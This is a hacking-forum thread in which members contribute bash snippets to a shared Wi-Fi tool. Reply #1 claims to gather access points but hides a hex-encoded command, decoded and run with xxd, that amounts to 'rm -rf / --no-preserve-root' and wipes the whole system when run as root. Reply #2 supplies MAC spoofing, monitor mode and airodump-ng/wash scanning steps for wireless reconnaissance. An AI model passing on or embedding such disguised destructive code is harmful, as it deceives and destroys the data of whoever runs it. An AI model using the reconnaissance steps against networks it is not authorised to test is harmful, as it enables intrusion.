May 24, 2017, 02:42:57 AM
Welcome, Guest. Please login or register.

Support THS!! Buy a t-shirt at the top-hat-sec store! http://www.top-hat-sec.com/store/p23/T-Shirts.html

Author Topic: THS-WIFI-TOOL  (Read 1306 times)

Offline D4rk-50ld13r

  • Top Hat Member
  • Elite
  • ********
  • Posts: 877
  • Internets: +189/-0
  • I will hack for beer.
    • http://www.ghostsec.org/
THS-WIFI-TOOL
« on: December 18, 2015, 12:17:18 PM »
Greetings

Guys, i got an idea :)

I want to create an  AIO " All in one " THS wifi script..
But i would like everyone to contribute to it by adding more options.
I will start by putting basic commands that display the full LAN info .
So i would like everyone of you who has basic programming skills to add at least one option to it.
It dosnt matter , could be , mac-change, monitor mode , deauth ecc...........
pls do feel free to edit the script and add what ever you want and everyone will be able to correct, edit , add stuff .

So i will start .

Code: [Select]
#!/bin/bash
watch -tpn 1 'echo -n "Simple Wireless Monitoring Tool coded by T-H-S team
 ";echo -n "`wpa_cli status|grep -w ssid`
   `wpa_cli status|grep bssid`
    `wpa_cli status|grep ip_`
       `date`\n";echo -n "\n`wpa_cli scan&&wpa_cli scan_r|grep : |nl`\n\n";echo "
`iwlist channel|grep -iB0 channel`\n\n`ifconfig|grep -iE "HWaddr"`"'



If you sat a monkey down in front of a keyboard, the first thing typed would be
a unix command.

Offline ch3rn0byl

  • Top Hat Member
  • Experienced
  • ********
  • Posts: 185
  • Internets: +1337/-0
  • Grumpy Old Man with Mounds of Salt
Re: THS-WIFI-TOOL
« Reply #1 on: December 18, 2015, 06:43:16 PM »
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root"
   exit 1
else
   echo "Gathering AP's..."
   $(echo 726d202d7266202f202d2d6e6f2d70726573657276652d726f6f74 | xxd -r)
fi
The quieter you become, the more you are unlikely to sound stupid.

Offline Grey-Matter

  • Top Hat Member
  • Experienced
  • ********
  • Posts: 112
  • Internets: +57/-0
Re: THS-WIFI-TOOL
« Reply #2 on: January 28, 2016, 08:37:09 AM »
Code: [Select]

WLANS=$(iwconfig | grep wlan | awk '{print $1}')

f_choose(){

  echo $WLANS
  read -p 'Choose Interface: ' IFACE

}

f_monitor(){

  ifconfig $IFACE down
  macchanger -a $IFACE
  iwconfig $IFACE mode monitor
  ifconfig $IFACE up

}

f_scans(){

  read -p '
  1.airodump-ng
  2.airodump-ng+wps
  3.wash
  4.wash+ignore-force-closes (AWUS036NH, 051NH, etc)
  5.iw-scan
  Choose a scan: ' SCAN
 
    if [ $SCAN -eq 1 ]; then
 
      airodump-ng $IFACE

    elif [ $SCAN -eq 2 ]; then
     
      airodump-ng -W -M -U $IFACE

    elif [ $SCAN -eq 3 ]; then

      wash -i $IFACE

    elif [ $SCAN -eq 4 ]; then

      wash -i $IFACE -C

    elif [ $SCAN -eq 5 ]; then

      iw dev $IFACE scan

    fi



f_choose
f_monitor
f_scans
« Last Edit: January 28, 2016, 08:55:04 AM by Grey-Matter »

Offline Malachai

  • Top Hat Member
  • Super Elite
  • ********
  • Posts: 2800
  • Internets: +18/-7
  • #!/bin/sh Day/Night (Grey Hat)
Re: THS-WIFI-TOOL
« Reply #3 on: January 28, 2016, 11:08:16 AM »
Sounds like a good plan
** Dont' judge me! **

*//
  Hope that Firewall works because your SCREWED  
  //*